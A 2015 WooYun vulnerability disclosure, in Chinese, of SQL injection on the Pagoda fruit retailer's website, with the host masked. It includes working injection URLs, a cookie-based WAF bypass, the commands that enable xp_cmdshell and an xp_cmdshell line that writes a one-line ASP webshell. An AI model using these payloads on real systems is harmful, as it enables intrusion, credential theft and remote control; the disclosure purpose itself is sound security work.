漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-0143048
漏洞标题:百果园官网存在SQL注入漏洞,可获取WebShell
相关厂商:cncert国家互联网应急中心
漏洞作者: 路人甲
提交时间:2015-09-24 23:02
修复时间:2015-11-13 10:04
公开时间:2015-11-13 10:04
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:10
漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-09-24: 细节已通知厂商并且等待厂商处理中
2015-09-29: cncert国家互联网应急中心暂未能联系到相关单位,细节仅向通报机构公开
2015-10-09: 细节向核心白帽子及相关领域专家公开
2015-10-19: 细节向普通白帽子公开
2015-10-29: 细节向实习白帽子公开
2015-11-13: 细节向公众公开
简要描述:
百果园官网存在SQL注入漏洞,并且是SA权限,可以执行cmd命令
详细说明:
漏洞地址:http://**.**.**.**/News/Detail.aspx?NewsID=1173&ModuleNo=0301
存在漏洞的参数:NewsID
注入类型:单引号型
漏洞证明:
http://**.**.**.**/News/Detail.aspx?NewsID=1173%27%20and%20%27%27=%27&ModuleNo=0301
http://**.**.**.**/News/Detail.aspx?NewsID=1173%27%20and%20%271%27=%27&ModuleNo=0301
http://**.**.**.**/News/Detail.aspx?NewsID=1173%27%20and%20db_name()%3E0%20and%20%20%27%27=%27&ModuleNo=0301
爆出数据库名
http://**.**.**.**/News/Detail.aspx?NewsID=1173%27%20and%201=(select%20IS_SRVROLEMEMBER(%27sysadmin%27))%20and%20%20%27%27=%27&ModuleNo=0301
页面返回正常,说明是SA权限
爆数据库字段,得到存储管理员账户信息的表名是:SysUser
枚举出所有管理员的帐号信息,但是密码是sha1加密的
不想花钱,就没有继续破解管理员密码。
由于是SQL Server数据库,准备用其它方式获取WebShell。
首先想到获取网站根目录,试了下随便一个不存在的URL。
犯了很多网站都犯的错误
想先试一下差异备份方式,但是创建临时表的时候报错了
http://**.**.**.**/News/Detail.aspx?NewsID=1173%27%20create%20table%20TmpTab(id%20nvarchar(255),num1%20nvarchar(255),num2%20nvarchar(255),num3%20nvarchar(255))--&ModuleNo=0301
由于之前执行都没有报错,这个根本没有想到是WAF的原因。
后来才意识是有关键字在黑名单的原因,测试了一下,大概有“script declare create insert drop update”这些,基本上包括了操作数据库相关的命令字。
尝试用cr%65ate、cr%u0065ate这些方式绕过,但都失败了。
而且如果尝试次数多了,页面就会无法访问,只能换ip或等待一段时间。
试了各种绕过WAF的方法都不行,甚至还试了http://**.**.**.**/bugs/wooyun-2015-0115175里用的方法,但是貌似对**.**.**.**无效
最后发现,用cookie方式尽然可以绕过去。
终于返回正常了!
不过有个问题比较麻烦,就是在cookie中分号是分隔符,必须保证注入的语句中没有分号。幸好的是,我把分号换成空格也没有报错。
漏洞证明:
使用差异备份生成的asp或aspx文件中应该存在<%%>之类的符号,导致脚本不能正常解析,试了几次都失败了,就放弃了。
各位大牛不知道有没有好的解决这种问题的方法。
接着就试验xp_cmdshell,由于SQL Server2005默认是关闭的,需要先开启下来
EXEC sp_configure 'show advanced options',1 RECONFIGURE--;
EXEC sp_configure 'xp_cmdshell',1 RECONFIGURE--;
试验了一个命令,都是可以的,就直接写马了。
exec master.dbo.xp_cmdshell 'cmd /c echo ^<%execute request("wooyun")%^> > D:\bgynet\zwbyg-new\wooyun.asp'--;
这句话试了多次也没有正确写进去,一直想不通原因。
后来想到一种猥琐的方法,先写入一个vbs脚本,然后运行vbs脚本,生成目标文件
在vbs脚本中,特殊符号可以用编码解决。
不过写进入之后,第一个能访问,第二次再访问就404了,估计又是那个WAF在搞鬼。
在网上找了个加密的一句话,写进去就好了。
使用菜刀访问:
不过WAF很快就发现了,菜刀过会就访问不了了,只能换ip或等待一段时间。
就到这里吧,不想继续深入了
修复方案:
过滤单引号,不要完全依赖WAF
版权声明:转载请注明来源 路人甲@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:11
确认时间:2015-09-29 10:03
厂商回复:
暂未建立与网站管理单位的直接处置渠道,待认领.
最新状态:
暂无